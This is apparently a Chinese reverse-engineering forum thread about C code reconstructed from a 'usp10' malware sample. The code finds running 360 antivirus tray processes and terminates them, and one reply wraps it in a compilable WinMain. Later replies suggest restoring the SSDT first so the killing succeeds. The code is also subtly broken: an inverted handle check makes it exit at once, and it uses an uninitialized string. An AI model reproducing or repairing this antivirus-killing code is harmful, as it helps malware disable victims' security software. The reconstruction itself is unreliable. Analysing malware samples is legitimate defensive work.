还原的usp10的KO360一段代码

鹭影依凌

void  ZhKillsafeboxTrayAnd360tray()
{

        HANDLE hProcess;
        BOOL bKill360Already;
        HANDLE hProcessSnap;

        PROCESSENTRY32 pe;
   
        LPSTR szWindow;//全局变量

        bKill360Already = FALSE;
        hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if ( hProcessSnap != INVALID_HANDLE_VALUE )
                return;

        pe.dwSize = 296;
       
        if (!Process32First(hProcessSnap, &pe))
                return;
       
        do
        {
                if ( !lstrcmpi(pe.szExeFile, "safeboxTray.exe") || !lstrcmpi(pe.szExeFile, "360Tray.exe") )
                {
                        hProcess = OpenProcess(1u, 0, pe.th32ProcessID);

                        if ( hProcess )
                                bKill360Already = TerminateProcess(hProcess, 0);
                        CloseHandle(hProcess);
                        Sleep(10);
                        MessageBoxA((HWND)0xFFFFFFFF, szWindow, szWindow, 0);
                }
        }
        while ( Process32Next(hProcessSnap, &pe) );
       
        CloseHandle(hProcessSnap);
}

Hmily

这个发编程区吧
最好来段分析~[s:216]

iawen

不知道“还原的usp10”是什么，不过代码还是看明白了，呵呵！

枚举所有激活的进程，如果程序名是“safeboxTray.exe”或者 "360Tray.exe"，
则用OpenProcess获取进程句柄，并结束之！

－－－－难道与360有不解之过结？？

oh_lucifer

terminnate能结束360？？？？？？？？？？？？
.......................

这年头YY的人真是疯了...

oh_lucifer

#include <windows.h>
#include <tlhelp32.h>


void  ZhKillsafeboxTrayAnd360tray()
{

        HANDLE hProcess;
        BOOL bKill360Already;
        HANDLE hProcessSnap;

        PROCESSENTRY32 pe;
   
        LPSTR szWindow;//全局变量

        bKill360Already = FALSE;
        hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if ( hProcessSnap != INVALID_HANDLE_VALUE )
                return;

        pe.dwSize = 296;
        
        if (!Process32First(hProcessSnap, &pe))
                return;
        
        do
        {
                if ( !lstrcmpi(pe.szExeFile, "safeboxTray.exe") || !lstrcmpi(pe.szExeFile, "360Tray.exe") )
                {
                        hProcess = OpenProcess(1u, 0, pe.th32ProcessID);

                        if ( hProcess )
                                bKill360Already = TerminateProcess(hProcess, 0);
                        CloseHandle(hProcess);
                        Sleep(10);
                        MessageBoxA((HWND)0xFFFFFFFF, szWindow, szWindow, 0);
                }
        }
        while ( Process32Next(hProcessSnap, &pe) );
        
        CloseHandle(hProcessSnap);
}

int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
         ZhKillsafeboxTrayAnd360tray();

}




编译一个我看看....
这个方法 你K 那啥还行..
K 360 ......不成...

iawen

这只是代码的一部分，可能是提权后再进行的后续动作！
我没试过，猜测，呵呵

zapline

应该这段不是很重要
重要的是恢复ssdt之类的部分吧

oh_lucifer

提什么权啊？
你本身都是......ring3的API,好不好..
我囧死了..........

冷血书生

路过，嗯，很好，不过看不懂！！！！！！

Hmily

先恢复SSDT,再做后续工作~应该就没问题了~